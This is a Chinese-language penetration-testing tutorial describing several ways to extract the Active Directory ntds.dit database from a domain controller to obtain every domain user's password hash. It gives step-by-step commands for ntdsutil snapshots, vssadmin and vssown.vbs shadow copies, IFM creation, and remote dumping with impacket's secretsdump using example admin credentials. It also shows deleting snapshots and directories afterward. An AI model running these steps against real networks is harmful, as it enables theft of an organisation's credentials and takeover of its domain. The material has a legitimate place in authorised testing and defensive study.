多种方式提取和移动ntds
多种方式提取和移动ntds.dit文件
一、ntds.dit文件的介绍
ntds.dit为Windows Active Directory数据库的一个文件,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。ntds.dit包括三个主要表:数据表、链接表、 sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,它和SAM文件一样,被windows系统锁死。
ntds.dit文件位置:
C:\Windows\NTDS
二、ntdsutils.exe提取ntds.dit
ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持windows server 2003、2008、2012。
1、创建快照
ntdsutil.exe snapshot "activate instance ntds" create q q
2、加载快照
ntdsutil.exe snapshot "mount {e5440db6-0ffa-47fa-9510-5708bc2f96b2}" q q
3、复制文件
copy C:\$SNAP_202306161355_VOLUMEC$\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop
4、删除快照
ntdsutil.exe snapshot "umount {e5440db6-0ffa-47fa-9510-5708bc2f96b2}" "delete {e5440db6-0ffa-47fa-9510-5708bc2f96b2}" q q
三、vssadmin提取ntds.dit
vssadmin是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的 “diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012。
1、创建快照
vssadmin create shadow /for=c:
2、复制文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop
3、删除快照
vssadmin delete shadows /for=c: /quiet
四、vssown.vbs提取ntds.dit
vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务。
1、启动卷影复制服务
cscript vssown.vbs /start
2、创建一个C盘的卷影副本
cscript vssown.vbs /create c
3、列出当前卷影副本
cscript vssown.vbs /list
4、复制文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop
5、删除卷影副本
cscript vssown.vbs /delete {A60DA168-8678-4A85-A244-874250A93C1F}
五、IFM提取ntds.dit
可以通过创建一个IFM 的方式获取ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。
1、生成文件
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下。
2、删除目录
rmdir /s/q C:\test
六、secretsdump.exe提权ntds.dit
通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值。
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds
这里密码之前是admin@123,但是会冲突,导致会去访问123@192.168.142.10的445端口,从而访问失败。所以改了密码。
secretsdump.exe candada/administrator:Admin123@192.168.142.10 -outputfile output_ntds